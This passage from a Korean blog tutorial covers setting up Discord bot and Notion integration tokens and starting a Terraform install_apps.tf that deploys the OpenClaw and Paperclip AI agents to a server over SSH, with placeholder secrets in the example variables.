this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;978&quot; height=&quot;598&quot;/&gt;&lt;/span&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/oqpnM/dJMcadanP92/oXGjvf3QoDBrONLjHfErEK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/oqpnM/dJMcadanP92/oXGjvf3QoDBrONLjHfErEK/img.png&quot; data-origin-width=&quot;422&quot; data-origin-height=&quot;242&quot; style=&quot;width: 51.0031%;&quot; data-is-animation=&quot;false&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/oqpnM/dJMcadanP92/oXGjvf3QoDBrONLjHfErEK/img.png&quot; alt=&quot;&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FoqpnM%2FdJMcadanP92%2FoXGjvf3QoDBrONLjHfErEK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;422&quot; height=&quot;242&quot;/&gt;&lt;/span&gt;&lt;/div&gt;
  &lt;figcaption&gt;Discord Developer 접속 후 신규 앱 만들기 - 애플리케이션 ID 복사&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;br /&gt;해당 애플리케이션 ID는 &lt;b&gt;Terraform&lt;/b&gt; 변수 &lt;b&gt;discord_client_id&lt;/b&gt;에 넣을 예정입니다.&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1118&quot; data-origin-height=&quot;858&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/etkPbp/dJMcadanQC5/62WbKN9WCZWLhNnCRKn3L1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/etkPbp/dJMcadanQC5/62WbKN9WCZWLhNnCRKn3L1/img.png&quot; data-alt=&quot;Reset Token클릭 &amp;amp;rarr; 확인 &amp;amp;rarr; 토큰 복사&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/etkPbp/dJMcadanQC5/62WbKN9WCZWLhNnCRKn3L1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FetkPbp%2FdJMcadanQC5%2F62WbKN9WCZWLhNnCRKn3L1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1118&quot; height=&quot;858&quot; data-origin-width=&quot;1118&quot; data-origin-height=&quot;858&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;Reset Token클릭 &amp;rarr; 확인 &amp;rarr; 토큰 복사&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;br /&gt;해당 &lt;b&gt;Bot token&lt;/b&gt;은 &lt;b&gt;Terraform&lt;/b&gt; 변수 &lt;b&gt;discord_bot_token&lt;/b&gt;에 넣을 예정입니다.&lt;br /&gt;토큰은 &lt;b&gt;Reset&lt;/b&gt; 직후 한 번만 보여주며, 놓치면 다시 &lt;b&gt;Reset&lt;/b&gt;해야 합니다.&lt;br /&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2220&quot; data-origin-height=&quot;670&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/y2HNW/dJMcaiJx0s1/3nK7DyU3kGd293FpnCpjF1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/y2HNW/dJMcaiJx0s1/3nK7DyU3kGd293FpnCpjF1/img.png&quot; data-alt=&quot;이후 아래 3가지 항목을 체크합니다. - Save Changes&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/y2HNW/dJMcaiJx0s1/3nK7DyU3kGd293FpnCpjF1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fy2HNW%2FdJMcaiJx0s1%2F3nK7DyU3kGd293FpnCpjF1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2220&quot; height=&quot;670&quot; data-origin-width=&quot;2220&quot; data-origin-height=&quot;670&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;이후 아래 3가지 항목을 체크합니다. - Save Changes&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;br /&gt;&lt;b&gt;봇&lt;/b&gt;을 &lt;b&gt;Discord 서버&lt;/b&gt;에 &lt;b&gt;초대&lt;/b&gt;하기 위한&lt;b&gt; 아래 링크&lt;/b&gt;로 &lt;b&gt;이동&lt;/b&gt;합니다.&lt;/p&gt;
&lt;pre class=&quot;html xml&quot; data-ke-type=&quot;codeblock&quot; data-ke-language=&quot;html&quot;&gt;&lt;code&gt;# 아래 URL에서 `&amp;lt;클라이언트ID&amp;gt;`를 위에서 복사한 Application ID로 교체:

https://discord.com/oauth2/authorize?client_id=&amp;lt;클라이언트ID&amp;gt;&amp;amp;permissions=277025770560&amp;amp;scope=bot&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;br /&gt;봇을 추가할 서버 선택 &amp;rarr; Continue &amp;rarr; Authorize&lt;br /&gt;서버 멤버 목록에 봇이 나타나면 성공합니다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;602&quot; data-origin-height=&quot;844&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/ci3DbD/dJMcafMTAR1/GOkd2UuyQzk8BEs4l9zTo1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ci3DbD/dJMcafMTAR1/GOkd2UuyQzk8BEs4l9zTo1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ci3DbD/dJMcafMTAR1/GOkd2UuyQzk8BEs4l9zTo1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fci3DbD%2FdJMcafMTAR1%2FGOkd2UuyQzk8BEs4l9zTo1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;301&quot; height=&quot;422&quot; data-origin-width=&quot;602&quot; data-origin-height=&quot;844&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;br /&gt;&amp;nbsp;&lt;br /&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style1&quot;&gt;Notion 토큰 (선택)&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;br /&gt;저는 추가적으로 &lt;b&gt;Notion&lt;/b&gt; 연동을 선택 하였습니다.&lt;br /&gt;아래 링크를 통해 &lt;b&gt;API 키&lt;/b&gt;를 발급해줍니다.&lt;br /&gt;&lt;br /&gt;&lt;a href=&quot;https://www.notion.so/profile/integrations/internal&quot; target=&quot;_self&quot;&gt;&lt;span&gt;마켓플레이스 프로필 | Notion&lt;/span&gt;&lt;/a&gt;&lt;/p&gt;
&lt;figure data-ke-type=&quot;opengraph&quot; data-og-title=&quot;The AI workspace that works for you. | Notion&quot; data-ke-align=&quot;alignCenter&quot; data-og-description=&quot;Build Custom Agents, search across all your apps, and automate busywork. The AI workspace where teams get more done, faster.&quot; data-og-host=&quot;www.notion.com&quot; data-og-source-url=&quot;https://www.notion.so/profile/integrations/internal&quot; data-og-image=&quot;https://blog.kakaocdn.net/dna/bwlnV4/dJMb8UHPtcI/AAAAAAAAAAAAAAAAAAAAAJPeb_ZnUAHpETopv2k1cvGJIUsRj7Odt1yKgxcuHVIo/img.png?credential=yqXZFxpELC7KVnFOS48ylbz2pIh7yKj8&amp;amp;expires=1780239599&amp;amp;allow_ip=&amp;amp;allow_referer=&amp;amp;signature=OOBdp2ttqSk%2F2tQXvBar23Z2E%2Fw%3D&quot; data-og-url=&quot;https://www.notion.so&quot;&gt;&lt;a href=&quot;https://www.notion.so&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://www.notion.so/profile/integrations/internal&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url('https://blog.kakaocdn.net/dna/bwlnV4/dJMb8UHPtcI/AAAAAAAAAAAAAAAAAAAAAJPeb_ZnUAHpETopv2k1cvGJIUsRj7Odt1yKgxcuHVIo/img.png?credential=yqXZFxpELC7KVnFOS48ylbz2pIh7yKj8&amp;amp;expires=1780239599&amp;amp;allow_ip=&amp;amp;allow_referer=&amp;amp;signature=OOBdp2ttqSk%2F2tQXvBar23Z2E%2Fw%3D');&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;The AI workspace that works for you. | Notion&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;Build Custom Agents, search across all your apps, and automate busywork. The AI workspace where teams get more done, faster.&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;www.notion.com&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1876&quot; data-origin-height=&quot;948&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/kFcTh/dJMcad2wSaf/c30nJT5nZCN3bYIuqC9kfK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/kFcTh/dJMcad2wSaf/c30nJT5nZCN3bYIuqC9kfK/img.png&quot; data-alt=&quot;New integration &amp;amp;rarr; 이름 입력 &amp;amp;rarr; 연결할 워크스페이스 선택 &amp;amp;rarr; Submit&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/kFcTh/dJMcad2wSaf/c30nJT5nZCN3bYIuqC9kfK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FkFcTh%2FdJMcad2wSaf%2Fc30nJT5nZCN3bYIuqC9kfK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1876&quot; height=&quot;948&quot; data-origin-width=&quot;1876&quot; data-origin-height=&quot;948&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;New integration &amp;rarr; 이름 입력 &amp;rarr; 연결할 워크스페이스 선택 &amp;rarr; Submit&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Internal Integration Secret&lt;/b&gt; (`ntn_xxxx...`)을 복사 하여&lt;br /&gt;&lt;b&gt;Terraform&lt;/b&gt; 변수 &lt;b&gt;notion_token&lt;/b&gt;에 넣을 예정입니다.&lt;br /&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1295&quot; data-origin-height=&quot;1265&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/xN4Ns/dJMcagyduGV/NyFizKKmAIUzImgBKWyz7k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/xN4Ns/dJMcagyduGV/NyFizKKmAIUzImgBKWyz7k/img.png&quot; data-alt=&quot;Notion에서 연동할 페이지/DB 열기 &amp;amp;rarr; 우측 상단 `&amp;amp;middot;&amp;amp;middot;&amp;amp;middot;` &amp;amp;rarr; Connections &amp;amp;rarr; 생성한 Integration 추가&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/xN4Ns/dJMcagyduGV/NyFizKKmAIUzImgBKWyz7k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FxN4Ns%2FdJMcagyduGV%2FNyFizKKmAIUzImgBKWyz7k%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;580&quot; height=&quot;567&quot; data-origin-width=&quot;1295&quot; data-origin-height=&quot;1265&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;Notion에서 연동할 페이지/DB 열기 &amp;rarr; 우측 상단 `&amp;middot;&amp;middot;&amp;middot;` &amp;rarr; Connections &amp;rarr; 생성한 Integration 추가&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;br /&gt;&lt;b&gt;Integration&lt;/b&gt;을 페이지에 연결하지 않으면 API가 해당 페이지에 접근할 수 없습니다.&lt;br /&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;Terraform 구축&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;`discord_bot_token`&lt;/b&gt;: Discord Developer Portal &amp;rarr; Bot &amp;rarr; Reset Token&lt;br /&gt;&lt;b&gt;`discord_client_id`&lt;/b&gt;:&amp;nbsp; Discord Developer Portal &amp;rarr; General Information &amp;rarr; Application ID&lt;br /&gt;&lt;b&gt;`llm_api_key`&lt;/b&gt;: GitHub Settings &amp;rarr; Developer settings &amp;rarr; Fine-grained PAT&amp;nbsp;&lt;br /&gt;&lt;b&gt;`notion_token`&lt;/b&gt;: Notion &amp;rarr; My Integrations &amp;rarr; Internal Secret&lt;br /&gt;&lt;b&gt;`better_auth_secret`&lt;/b&gt;: 비워두면 자동 생성 (`openssl rand -hex 32`)&lt;br /&gt;&lt;br /&gt;&lt;b&gt;`terraform.tfvars`&lt;/b&gt; 파일로 한꺼번에 관리하면 편합니다.&lt;/p&gt;
&lt;pre class=&quot;javascript&quot; data-ke-type=&quot;codeblock&quot; data-ke-language=&quot;javascript&quot;&gt;&lt;code&gt;# apps/terraform.tfvars 
discord_bot_token&amp;nbsp;&amp;nbsp;= &quot;MTIxNjk4...&quot;
discord_client_id&amp;nbsp;&amp;nbsp;= &quot;1231234567890&quot;
llm_api_key&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;= &quot;github_pat_11AXXXXX...&quot;
notion_token&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; = &quot;&quot;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;br /&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style1&quot;&gt;&lt;span style=&quot;font-family: Noto Serif KR;&quot;&gt;Terraform 구축&lt;/span&gt;&lt;/blockquote&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;메인 파이프라인&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;`&lt;b&gt;null_resource&lt;/b&gt;`의&amp;nbsp;`&lt;b&gt;remote-exec&lt;/b&gt;`&amp;nbsp;&lt;b&gt;provisioner&lt;/b&gt;를&amp;nbsp;6개로&amp;nbsp;나눠서,&amp;nbsp;&lt;br /&gt;각 단계가 독립적으로 실행, 디버깅 가능하게 구성하였습니다.&lt;br /&gt;&amp;nbsp;&lt;br /&gt;&lt;b&gt;Phase&amp;nbsp;0&lt;/b&gt;:&amp;nbsp;기본&amp;nbsp;패키지&amp;nbsp;+&amp;nbsp;Node.js&amp;nbsp;22.x &lt;br /&gt;&lt;b&gt;Phase&amp;nbsp;1&lt;/b&gt;:&amp;nbsp;PM2&amp;nbsp;클린업 &lt;br /&gt;&lt;b&gt;Phase&amp;nbsp;2&lt;/b&gt;:&amp;nbsp;OpenClaw&amp;nbsp;설치&amp;nbsp;&amp;amp;&amp;nbsp;설정 &lt;br /&gt;&lt;b&gt;Phase&amp;nbsp;3&lt;/b&gt;:&amp;nbsp;Paperclip&amp;nbsp;설치&amp;nbsp;&amp;amp;&amp;nbsp;설정 &lt;br /&gt;&lt;b&gt;Phase&amp;nbsp;4&lt;/b&gt;:&amp;nbsp;nginx&amp;nbsp;HTTPS&amp;nbsp;리버스&amp;nbsp;프록시 &lt;br /&gt;&lt;b&gt;Phase&amp;nbsp;5&lt;/b&gt;:&amp;nbsp;PM2&amp;nbsp;자동&amp;nbsp;시작&amp;nbsp;등록&lt;br /&gt;&amp;nbsp;&lt;br /&gt;이후 부터 &lt;b&gt;IDE&lt;/b&gt;를 통해 &lt;b&gt;바이브코딩&lt;/b&gt;하시면 더욱 좋습니다.&lt;br /&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;install_apps.tf (OpenClaw + PaperClip)&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;OpenClaw&lt;/b&gt;의 &lt;b&gt;openclaw config set&lt;/b&gt;은 단순 &lt;b&gt;key=value&lt;/b&gt;만 지원합니다.&lt;br /&gt;`&lt;b&gt;models.providers&lt;/b&gt;`처럼 배열/중첩 객체가 필요한 설정은 &lt;b&gt;Python&lt;/b&gt;으로 직접 &lt;b&gt;JSON&lt;/b&gt; 편집해야 합니다.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Github 연결&lt;/b&gt;과 &lt;b&gt;LLM 모델명&lt;/b&gt;을 &lt;b&gt;GPT5-mini&lt;/b&gt;로 설정 해주셔야 &lt;b&gt;제한 한도내에 무료&lt;/b&gt;로 이용이 가능합니다.&lt;br /&gt;&lt;br /&gt;여기서 주의할점은 절대 `&lt;b&gt;github-models&lt;/b&gt;` 프로바이더로 사용을 하시면 안됩니다. (&lt;b&gt;github-copilot&lt;/b&gt; 사용)&lt;br /&gt;`&lt;b&gt;github-models&lt;/b&gt;`는 GitHub Models API를 직접 호출하며, 요청당 8,000 토큰 하드 리밋이 있습니다. (Pro 포함)&lt;br /&gt;때문에 유료 전환 시에도 과금 발생 ($0.00001/토큰 유닛)&lt;br /&gt;`&lt;b&gt;github-copilot&lt;/b&gt;` 프로바이더를 사용하면 &lt;b&gt;Copilot Edu, Pro 구독&lt;/b&gt;으로 &lt;b&gt;무료 + 128K 컨텍스트&lt;/b&gt; 사용 가능합니다.&lt;br /&gt;&lt;br /&gt;&lt;a href=&quot;https://docs.openclaw.ai/providers/github-copilot#github-copilot&quot; target=&quot;_self&quot;&gt;&lt;span&gt;GitHub Copilot - OpenClaw&lt;/span&gt;&lt;/a&gt;&lt;/p&gt;
&lt;figure data-ke-type=&quot;opengraph&quot; data-og-title=&quot;GitHub Copilot - OpenClaw&quot; data-ke-align=&quot;alignCenter&quot; data-og-host=&quot;docs.openclaw.ai&quot; data-og-source-url=&quot;https://docs.openclaw.ai/providers/github-copilot#github-copilot&quot; data-og-image=&quot;https://blog.kakaocdn.net/dna/c3KCZs/dJMb8UHPurI/AAAAAAAAAAAAAAAAAAAAADv96ZsoHqIF4_cDULsoSuindvDWYVRHytZIBq4rdmTe/img.png?credential=yqXZFxpELC7KVnFOS48ylbz2pIh7yKj8&amp;amp;expires=1780239599&amp;amp;allow_ip=&amp;amp;allow_referer=&amp;amp;signature=Xytyi79pxI7x%2B7JEqgEYj5wH3A0%3D&quot; data-og-url=&quot;https://docs.openclaw.ai/providers/github-copilot&quot;&gt;&lt;a href=&quot;https://docs.openclaw.ai/providers/github-copilot&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://docs.openclaw.ai/providers/github-copilot#github-copilot&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url('https://blog.kakaocdn.net/dna/c3KCZs/dJMb8UHPurI/AAAAAAAAAAAAAAAAAAAAADv96ZsoHqIF4_cDULsoSuindvDWYVRHytZIBq4rdmTe/img.png?credential=yqXZFxpELC7KVnFOS48ylbz2pIh7yKj8&amp;amp;expires=1780239599&amp;amp;allow_ip=&amp;amp;allow_referer=&amp;amp;signature=Xytyi79pxI7x%2B7JEqgEYj5wH3A0%3D');&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;GitHub Copilot - OpenClaw&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;docs.openclaw.ai&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;br /&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre class=&quot;bash&quot; data-ke-type=&quot;codeblock&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;# ============================================================
# install_apps.tf
# OpenClaw &amp;amp; Paperclip AI 에이전트 및 디스코드 봇 구축용
# ============================================================

# ────────────────────────────────────────────────────────────
# 0. infra state에서 서버 IP 자동 참조
# ────────────────────────────────────────────────────────────
data &quot;terraform_remote_state&quot; &quot;infra&quot; {
&amp;nbsp;&amp;nbsp;backend = &quot;local&quot;
&amp;nbsp;&amp;nbsp;config = {
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;path = &quot;${path.module}/../infra/terraform.tfstate&quot;
&amp;nbsp;&amp;nbsp;}
}

locals {
&amp;nbsp;&amp;nbsp;server_ip = data.terraform_remote_state.infra.outputs.instance_public_ip
}

# ────────────────────────────────────────────────────────────
# 1. 사용자 입력 변수 설정
# ────────────────────────────────────────────────────────────

variable &quot;discord_bot_token&quot; {
&amp;nbsp;&amp;nbsp;description = &quot;디스코드 봇 토큰&quot;
&amp;nbsp;&amp;nbsp;type&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;= string
&amp;nbsp;&amp;nbsp;default&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; = &quot;&amp;lt;Discord Developer Portal &amp;rarr; Bot &amp;rarr; Reset Token에서 발급한 봇 토큰&amp;gt;&quot;
}

variable &quot;llm_model&quot; {
&amp;nbsp;&amp;nbsp;description = &quot;사용할 LLM 모델명 (github-copilot 프로바이더 사용)&quot;
&amp;nbsp;&amp;nbsp;type&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;= string
&amp;nbsp;&amp;nbsp;default&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; = &quot;gpt-5-mini&quot;
}

variable &quot;notion_token&quot; {
&amp;nbsp;&amp;nbsp;description = &quot;Notion 통합 토큰&quot;
&amp;nbsp;&amp;nbsp;type&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;= string
&amp;nbsp;&amp;nbsp;default&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; = &quot;&amp;lt;Notion &amp;rarr; My Integrations &amp;rarr; Internal Integration Secret&amp;gt;&quot;
}

variable &quot;discord_client_id&quot; {
&amp;nbsp;&amp;nbsp;description = &quot;디스코드 애플리케이션 Client ID (봇 초대 시 주로 필요)&quot;
&amp;nbsp;&amp;nbsp;type&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;= string
&amp;nbsp;&amp;nbsp;default&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; = &quot;&quot;
}

variable &quot;better_auth_secret&quot; {
&amp;nbsp;&amp;nbsp;description = &quot;Paperclip authenticated 모드용 시크릿 (빈 값이면 서버에서 자동 생성)&quot;
&amp;nbsp;&amp;nbsp;type&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;= string
&amp;nbsp;&amp;nbsp;default&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; = &quot;&quot;
}


# ────────────────────────────────────────────────────────────
# 2. 설치 및 실행 스크립트 (독립 실행형)
# ────────────────────────────────────────────────────────────

resource &quot;null_resource&quot; &quot;install_ai_agents&quot; {
&amp;nbsp;&amp;nbsp;triggers = {
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;config_hash = md5(join(&quot;-&quot;, [
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;var.discord_bot_token,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;var.notion_token,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;var.llm_model,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;var.better_auth_secret,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;local.server_ip,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;]))
&amp;nbsp;&amp;nbsp;}

&amp;nbsp;&amp;nbsp;connection {
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;type&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;= &quot;ssh&quot;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;host&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;= local.server_ip
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;user&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;= &quot;ubuntu&quot;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;private_key = file(&quot;&amp;lt;SSH 프라이빗 키 경로, 예: ~/.ssh/my_key.pem&amp;gt;&quot;)
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;timeout&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; = &quot;20m&quot;
&amp;nbsp;&amp;nbsp;}

&amp;nbsp;&amp;nbsp;# ── Phase 0: 기본 패키지 &amp;amp; Node.js 22.x 강제 설치 ──────────
&amp;nbsp;&amp;nbsp;provisioner &quot;remote-exec&quot; {
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;inline = [
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;set -e&quot;,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;LOG=/home/ubuntu/ai_setup.log&quot;,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;exec &amp;gt;&amp;gt; \&quot;$LOG\&quot; 2&amp;gt;&amp;amp;1&quot;,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;echo ''&quot;,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;echo '========================================================'&quot;,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;echo \&quot;=== AI 에이전트 설치 시작: $(date '+%Y-%m-%d %H:%M:%S') ===\&quot;&quot;,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;echo '========================================================'&quot;,

